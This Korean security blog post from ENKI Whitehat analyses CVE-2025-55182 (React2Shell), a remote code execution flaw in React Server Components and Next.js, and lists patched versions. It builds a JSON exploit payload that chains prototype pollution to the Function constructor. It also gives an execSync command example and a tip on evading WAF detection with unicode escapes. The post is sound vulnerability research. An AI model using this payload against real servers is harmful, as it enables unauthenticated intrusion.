Go to Top

Go to Top

취약점 연구

취약점 연구

취약점 연구

React2Shell(CVE-2025-55182)

React2Shell(CVE-2025-55182)

React2Shell(CVE-2025-55182)

엔키화이트햇

엔키화이트햇

2025. 12. 9.

2025. 12. 9.

2025. 12. 9.

Content

Content

Content

CVE-2025-55182 (React2Shell) 이란?


React2Shell로 알려진 CVE-2025-55182 취약점은 최신 React 버전에서 사용되는 React Server Components(RSC) 에서 발생하는 취약점이다. 공격자는 취약한 버전을 사용하는 웹 서비스에 대해 아무런 인증 없이(Pre-authentication) 원격 코드 실행(Remote Code Execution)이 가능하고, 공격 난이도 또한 높지 않다. 이러한 이유로 본 취약점은 Common Vulnerability Scoring System(CVSS) 10.0 이라는 최고 등급의 치명도 점수를 받았다.

더욱이 현재 Node.js 생태계에서 널리 사용되는 Next.js 프레임워크 또한 React에 기반하고 있어 동일한 취약점에 노출된다. 이는 파급력이 매우 크고 실제 서비스 환경에서의 위험도 또한 높다. 따라서 해당 취약점의 영향 범위를 신속하게 파악하고 패치를 적용하는 것이 무엇보다 중요하다.

React2Shell에 앞서…

본격적으로 React2Shell 취약점을 다루기에 앞서서 보안을 하는 사람들에게 다소 생소할 수도 있는 React Server Component 개념과, 개발을 하는 사람들에게 낯설 수 있는 Prototype Pollution에 대한 이해가 가볍게 필요하다.

React Server Component & Flight Protocol

웹 서비스를 제공함에 있어 사용자에게 보여지는 웹 페이지를 Server-side에서 모두 처리하여 완성된 DOM을 제공하는 것을 Server-Side Rendering(SSR)이라고 한다. 반면, API 형태로 데이터만 전달하고 실제 DOM 구성은 사용자 웹 브라우저(Client-side)에서 처리하는 방식을 Client-Side Rendering(CSR)이라고 한다.

CSR은 페이지의 뼈대를 사용자에게 제공하고, 실제 DOM 구성은 전부 사용자의 웹 브라우저에서 수행되기 때문에 더욱 풍부한 웹 서비스 사용 경험과 상호작용이 가능하게끔 하였다. 그러나 Frontend 기능이 점점 복잡해지면서, 브라우저가 처리해야 하는 연산량이 증가하였고 이는 곧 사용자 디바이스의 리소스 소모 증가와 성능 저하로 인한 사용자 경험 저하로까지 이어지게 되었다.

이러한 문제를 해결하기 위해, React는 렌더링의 상당 부분을 Client 가 아닌 Server에서 처리하는 React Server Components(RSC)를 도입하였다. RSC는 React의 Component 실행은 Server-side에서 하고, 그 실행 결과를 Client에서 받아서 Component를 렌더링 하도록 하는 기술이다. 기존의 SSR과 CSR이 결합된 개념으로 Server에서는 새로운 페이지의 상태를 React Component 형태까지만 렌더링 하여제공하고, Client에서 해당 Component를 렌더링하는 형식으로 나누어 Client의 부담을 줄일 수 있게 되었다.

JSON은 데이터를 다루기 위한 매우 훌륭한 직렬화 포맷이지만, 복잡한 React Component를 다루기엔 부적절하다. React Component를 적절히 처리하기 위해서는 단순한 문자열, Dictionary, Array와 같은 데이터를 넘어서 Promise, Blob, Map과 같은 복잡한 타입과 Reference 등을 처리할 수 있어야 한다. 그렇기 때문에 RSC에는 Flight Protocol이라는 독자적인 프로토콜 및 직렬화 포맷이 이용된다.

표현식

타입

예시

설명

$$

Escaped $

"$$hello" → "$hello"

Literal string starting with $

$@

Promise/Chunk

"$@0"

Reference to chunk ID 0

$F

Server Reference

"$F0"

Server function reference

$T

Temporary Ref

"$T"

Opaque temporary reference

$Q

Map

"$Q0"

Map object at chunk 0

$W

Set

"$W0"

Set object at chunk 0

$K

FormData

"$K0"

FormData at chunk 0

$B

Blob

"$B0"

Blob at chunk 0

$n

BigInt

"$n123"

BigInt value

$D

Date

"$D2024-01-01"

Date object

$N

NaN

"$N"

NaN value

$I

Infinity

"$I"

Infinity

$-

-Infinity/-0

"$-I" or "$-0"

Negative infinity or negative zero

$u

undefined

"$u"

undefined value

$R

ReadableStream

"$R0"

ReadableStream

$0-9a-f

Chunk Reference

"$1", "$a"

Reference to chunk by hex ID

Prototype Pollution

Javascript에서의 객체(Object)는 흔히들 ‘객체 지향’으로 알고 있는 Java, C++의 객체 스타일과 사뭇 다르다. Javascript에서는 객체가 생성될 때 객체의 클래스를 상속받는 것이 아니라 다른 객체를 상속받는 형태이다. 다시 말해, 새로운 객체는 특정 틀(Class)로부터 복제되는 것이 아니라, 자신이 참조하는 또 하나의 객체를 기반으로 동작을 확장해 나간다.

이와 같이 상속되는 구조에서 Prototype은 객체가 참조하는 부모 객체로, 자신이 직접 갖고 있지 않은 속성이나 메서드를 찾을 때 조회가 이어지는 대상이다. 예를 들어, Javascript에서 배열은 Array.prototype을 프로토타입으로 삼는데 배열의 toString, push와 같은 메소드는 Array.prototype에 구현되어 있어 프로토타입을 통해 사용할 수 있다.

Javascript의 이러한 특성 때문에 어떠한 경로로든 어떠한 프로토타입 객체에 property를 설정할 수 있다면 이후에 생성되는 객체들에 대해 마치 특정 property가 설정된 것과 같이 만들 수 있게 된다. 이렇게 객체의 prototype을 오염시키거나 prototype에 불건전하게 접근하는 행위를 Prototype Pollution이라 한다. 처음보면 다소 생소한 개념일수도 있으나 아래 예시 코드를 통해 쉽게 이해할 수 있을 것이고, 추후 Prototype Pollution에 대해 더 자세히 다뤄보도록 하겠다.

let obj1 = {};
console.log(obj1.foo); // undefined

Object.prototype.foo = "polluted"; //Object의 Prototype

let obj2 = {};
console.log(obj2.foo); // "polluted"

console.log(obj2.hasOwnProperty("foo")); // False (`foo`는 자신 스스로의 Property가 아니기 때문)

Cause Analysis

Diff Analysis

먼저 취약점 원인을 분석하기에 앞서, 해당 React2Shell 취약점은 GitHub의 facebook/react 저장소에서 7dc903c 커밋(GitHub Commit) 을 통해 패치되었다. 이 커밋을 통해 수정된 내용 중, Flight Protocol과 Prototype 관련된 수정은 packages/react-server/src/ReactFlightReplyServer.js 에서 이루어졌다.


caption - ReactFlightReplyServer.jsgetOutlinedModel 함수 구현 내 속성 값 검사 추가

Processing Flight Protocol - RSC의 첫 진입로

react-server로 전달된 Flight Protocol 데이터 중 getOutlinedModel 함수가 호출되는 경우에는, ReactFlightReplyServer.js 에서 아래와 같은 함수 호출을 따라 전처리된다.

  • initializeModelChunk() Flight Protocol 요청 발생 시 초기 Chunk 초기화

  • reviveModel() : 요청 데이터로부터 Model 복원

  • parseModelString() : 문자열 데이터로부터 Model 생성 (역직렬화)

  • getOutlinedModel() : 역직렬화 과정 중 발생하는 Chunk Reference 처리

Raw Chunk Reference

앞선 Flight Protocol 개요에서, $@0 와 같은 표현은 Chunk 0 에 대한 Reference라 설명한 바 있다. 실제로 이 구현과 관련하여, parseModelString() 함수를 살펴보면 아래와 같다. (ReactFlightReplyServer.js:929)

case '@': {
  // Promise
  const id = parseInt(value.slice(2), 16);
  const chunk = getChunk(response, id);
  return chunk;
}

@ 으로 시작하는 Reference에 대해서는, Chunk Promise 자체를 받아서 반환하는 Raw reference로 구현되어 있다. 이를 통해, Promise에 대한 참조를 얻을 수 있다. (CAUSE #1)

Unserialize & Prototype Pollution - Chunk의 본질을 향해

취약점 패치가 이루어지기 직전 커밋에서의 getOutlinedModel() 함수의 구현은 다음과 같다. (ReactFlightReplyServer.js:595)

function getOutlinedModel<T>(
  response: Response,
  reference: string,
  parentObject: Object,
  key: string,
  map: (response: Response, model: any) => T,
): T {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];
      }
      return map(response, value);
  /* (후략) */

해당 함수에서 chunk.statusINITIALIZED인 경우, reference.split(':') 으로 가져온 path 들에 value 내 멤버를 계속 참조해나가는 것을 볼 수 있다. 이 과정에서 hasOwnProperty 와 같은 확인이 부재하기 때문에 __proto__ 멤버를 통해 Prototype Pollution 이 가능하다. (CAUSE #2)

예를 들어, reference 표현식이 $1:__proto__:aaa 와 같은 경우, 1번 Chunk의 Prototype의 aaa 라는 멤버를 참조하게 된다.

이 때 만약 1번 Chunk가 앞서 본 $@0 , 즉 Promise 타입의 객체라면 $1:__proto__(Chunk0).__proto__ 를 나타내게 되고, 이는 결과적으로 Chunk.prototype 에 대한 접근을 할 수 있다는 것을 의미한다.

CAUSE #1와 CAUSE #2를 통해 공격자는 Chunk.prototype 에 대한 접근을 할 수 있게 되었다. (PRIMITIVE #1)

Chunk.prototype - Make initializeModelChunk Greate Again

PRIMITIVE #1을 통해 얻게 된 Chunk.prototype에 관한 정보 또한 같은 ReactFlightReplyServer.js 파일 내에 있음을 확인할 수 있다. (ReactFlightReplyServer.js:125)

Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: This doesn't return a new Promise chain unlike the real .then
Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    case PENDING:
    case BLOCKED:
    case CYCLIC:
      if (resolve) {
        if (chunk.value === null) {
          chunk.value = ([]: Array<(T) => mixed>);
        }
        chunk.value.push(resolve);
      }
      if (reject) {
        if (chunk.reason === null) {
          chunk.reason = ([]: Array<(mixed) => mixed

Chunk 는 기본적으로 Promise 객체이며, .then() 메소드는 this.status 에 따라 다른 행동을 하도록 분기됨을 알 수 있다.

한편, PRIMITIVE #1 을 활용해, $1:__proto__:then 을 참조하게 된다면, chunk의 어떠한 속성을 Chunk.prototype.then함수로 만드는 것이 가능해지는데, 이를 통해 then 이라는 이름을 가진 속성을 Chunk.prototype.then 을 가리키게 만들수 있게 된다.

{"then":"$1:__proto__:then", "status": "resolved_model", "value": "...", "_response": "..."}

위의 예시와 같이 Chunk가 설정될 경우, then 은 실제로 Chunk.prototype.then 이고, then 내에서 this.statusresolved_model 이기 때문에, 만약 이 청크(실제론 Promise)를 resolve 할 수 만 있다면 공격자는 원하는 임의의 initializeModelChunk 함수 호출을 할 수 있게 된다. (PRIMITIVE #2)

initializeModelChunk - 다시 한 번

PRIMITIVE #2를 이용하여 공격자는 fully-controllable한 값을 이용하여 initializeModelChunk 함수를 다시 호출 할 수 있게 되었다. 해당 함수의 구현은 다음과 같다. (ReactFlightReplyServer.js:446)

function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  const prevChunk = initializingChunk;
  const prevBlocked = initializingChunkBlockedModel;
  initializingChunk = chunk;
  initializingChunkBlockedModel = null;

  const rootReference =
    chunk.reason === -1 ? undefined : chunk.reason.toString(16);

  const resolvedModel = chunk.value;

  // We go to the CYCLIC state until we've fully resolved this.
  // We do this before parsing in case we try to initialize the same chunk
  // while parsing the model. Such as in a cyclic reference.
  const cyclicChunk: CyclicChunk<T> = (chunk: any);
  cyclicChunk.status = CYCLIC;
  cyclicChunk.value = null;
  cyclicChunk.reason = null;

  try {
    const rawModel = JSON.parse(resolvedModel);

    const value: T = reviveModel(
      chunk._response,
      {''

이 때 공격자는, resolvedModel 값을 완전히 컨트롤할 수 있기 때문에, 임의의 JSON object를 가지고 reviveModel 함수를 호출할 수 있게 된다. 또한 chunk._response 도 마찬가지로 initializeModelChunk() 호출 과정부터 조작 가능한 값이었기 때문에, PRIMITIVE #2는 임의의 reviveModel 함수 호출로 환원된다.

reviveModel - Blob

reviveModel() 함수는 이전과 마찬가지로 내부적으로 parseModelString() 을 호출한다. 이 parseModelString() 내에는 다음과 같이, Blob 데이터를 처리하는 로직이 존재한다. (ReactFlightReplyServer.js:446)

  case 'B': {
    // Blob
    const id = parseInt(value.slice(2), 16);
    const prefix = response._prefix;
    const blobKey = prefix + id;
    // We should have this backingEntry in the store already because we emitted
    // it before referencing it. It should be a Blob.
    const backingEntry: Blob = (response._formData.get(blobKey): any);
    return backingEntry;
  }

이 때, 코드 블럭에서 참조 하고 있는 response 는 공격자가 조작 가능한 값임을 상기하면, 최종적으로 blobKey 또한 (원하는문자열) || (임의의 정수) 형태로 조작이 가능하고, response._formData.get 또한 적당한 값으로 조작이 가능하다.

response._formData.get 은 호출 가능한 함수여야 하기 때문에, CAUSE #1를 떠올려 응용해볼 수 있다.


위와 같이 $1:constructor:constructorFunction.constructor가 되기 때문에, 아래와 같은 chunk를 구성하게 되면, Function.constructor 를 활용한 임의 함수 생성 및 value에 할당할 수 있게 된다.

{
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  },
  "value": "{\\"then\\": \\"$B1\\"}"
}

위의 _response가 Blob을 통해 처리된다고 생각하면, 최종적으로는 Function.constructor("console.log(1337);//1") 함수가 반환되게 되고, 최종적으로는 아래와 같은 구조가 된다.

{
  "value": {
    "then": Function() {
      console.log(1);//1
    }
  }
}

즉, 여기서 공격자는 임의의 원하는 Javascript 함수를 만들 수 있고, 나아가 value 자체를 then 을 함수로 가지는 Thenable로 만들 수 있게 된다.

또한, 다시 Chunk.prototype.then() 함수로 돌아가 보면,

Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {

방금 Blob이 처리된 initializeModelChunk 호출이 끝나고, valuethen 을 공격자가 만든 임의 함수로 가지고 있는 Thenable 이기 때문에, resolve(chunk.value) 라인에서 임의 Javascript 함수가 실행되게 된다. (PRIMITIVE #3)

Sum Everything, Next Resolves Everything

이 시점에서, 공격자가 얻은 Primitive에는 어떤 정보가 있는지 되짚어볼 필요가 있다.

PRIMITIVE #1 => Chunk.prototype 대한 접근
PRIMITIVE #2 => (resolve  ) Fully-Controllable  `initializeModelChunk` 호출
PRIMITIVE #3 => 임의의 Function 생성 실행

어떤 형태로든 Chunkthen 이 처음에 resolve만 된다면 PRIMITIVE #2가 PRIMITIVE #3까지 이어짐으로써 임의의 함수 호출이 가능해진다.

공격자의 Chunk가 다음과 같이 구성되었다고 생각해보자.

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"
    },
    "_prefix": "console.log(1);//"
  }
}

위와 같이 구성 될 경우, then이 정상적으로 호출만 된다면 아래의 흐름을 통해 임의 코드 실행이 Server-side에서 가능하다.

  1. .then()Chunk.prototype.then 이기 때문에 전체를 this로 해서 then이 실행

  2. value = JSON.parse("{\\"then\\": \\"$B1\\"}") 를 가지고, reviveModel 호출

  3. reviveModel 과정에서 $B1337Function.constructor("console.log(1);//1") 로 설정

  4. valuethen 이 다시 호출됨 ⇒ Function.constructor("console.log(1);//1)() 호출

  5. _response._prefix 에 담긴 임의 javascript 코드 실행

React를 사용하는 아주 대표적인 Framework인 Next.js를 살펴보게 되면, Next-Action 헤더가 전달된 경우 실행되는 action handler에 다음과 같은 코드가 존재한다. (action-handler.ts:879)

boundActionArguments = await decodeReplyFromBusboy(
                busboy,
                serverModuleMap,
                { temporaryReferences }
              )

이 때, decodeReplyFromBusboy 함수는 multipart/form-data 형태의 요청에 대해 처리하여 chunk를 반환하는 함수이다.

exports.decodeReplyFromBusboy = function (
      busboyStream,
      webpackMap,
      options
    ) {
      var response = createResponse(
          webpackMap, //bundlerConfig
          "", // formFieldPrefix
          options ? options.temporaryReferences : void 0 //temporaryReferences
        ),
        pendingFiles = 0,
        queuedFields = [];
      busboyStream.on("field", function (name, value) {
        if (0 < pendingFiles) queuedFields.push(name, value);
        else
          try {
            resolveField(response, name, value);
          } catch (error) {
            busboyStream.destroy(error);
          }
      });
      //.. 생략..
      busboyStream.on("finish", function () {
        close(response);
      });
      busboyStream.on("error", function (err) {
        reportGlobalError(response, err);
      });
      return getChunk(response, 0);
    };

즉 위의 Chunk가 multipart/form-data 형태로 제공되었다면 decodeReplyFromBusboy 함수는 chunk 해석 후 아래의 chunk를 반환하게 된다.

{
  "then": Chunk.prototype.then,
  "status": "resolved_model",
  "value": "{\\"then\\": \\"$B1\\"}",
  "_response": {
    "_formData": {
      "get": Chunk.constructor.constructor
    },
    "_prefix": "console.log(1);//"
  }
}

이 때, 이 객체는 then 멤버가 존재하고 Function이기 때문에 Javascript에서 정의하는 Thenable이게 된다. (MDN - Thenable)

그렇기 때문에 첫 Chunk.prototype.then 을 통해서 status , value , _response 가 완벽하게 세팅된 두번째 initializeModelChunk 를 호출할 수 있게 되고, 최종적으로 console.log(1) 코드 까지 실행이 이어지게 된다.

이 때 실행되는 Javascript 코드는 Client-side 코드가 아닌, 서버에서 node.js를 통해 동작하는 코드이기 때문에, 공격자는 process.mainModule.require('child_process').execSync('id > /tmp/test'); 와 같은 코드를 구성하여 서버에서 임의 코드 실행이 가능하다.

저도 취약한가요?

Next.js를 비롯해 React-server 기반으로 운영되는 서버는 모두 React2Shell 취약점에 노출되어 있다. 본 취약점은 치명도와 파급력이 매우 높으며, 이미 다수의 PoC가 공개된 데다 실제 공격 시도까지 확인되고 있어 신속한 점검과 대응이 필수적이다.

해당 취약점은 단순히 WAF 룰을 추가하는 방식만으로는 효과적으로 방어하기 어렵다. RSC에서 Flight 요청을 처리하는 과정에서, 서버는 아래와 같이 공격자의 입력을 JSON.parse 함수에 전달해 변환한다.

const rawModel = JSON.parse(resolvedModel);

이 흐름으로 인해, 공격자는 JSON 문법을 사용해 Exploit Payload를 구성할 수 있으며, \\uXXXX 와 같은 표기법을 통해 악성 페이로드를 탐지할 수 없도록 조작하여 탐지 룰을 우회할 수 있다.

즉, 근본적인 대응을 위해서는 취약 버전의 RSC/Next.js 자체를 패치하는 것이 가장 중요하고 시급한 해결책이다.

Next.js에 따르면 해당 취약점은 아래의 Next.js 버전에서 패치가 완료되었다고 한다.

15.0.5
15.1.9
15.2.6
15.3.6
15.4.8
15.5.7
16.0.7

React2Shell 취약점 진단은 시중에 공개된 PoC 코드를 직접 활용해 수행할 수도 있지만, 엔키화이트햇의 공격 표면 관리 솔루션인 OFFen ASM에서 제공하는 긴급 스캐너를 통해 안전하고 간단하게 취약 여부를 확인할 수 있다.

OFFen ASM 긴급 스캐너 페이지

https://vuln.offen.im/



Reference

엔키화이트햇

엔키화이트햇

ENKI Whitehat
ENKI Whitehat

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

빈틈없는 보안 설계의 시작, NO.1 화이트 해커의 노하우로부터

침해사고 발생 전,
지금 대비하세요

빈틈없는 보안 설계의 시작,
NO.1 화이트 해커의 노하우로부터

침해사고 발생 전,
지금 대비하세요

빈틈없는 보안 설계의 시작,
NO.1 화이트 해커의 노하우로부터

침해사고 발생 전,
지금 대비하세요

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.

Copyright © 2025. ENKI WhiteHat Co., Ltd. All rights reserved.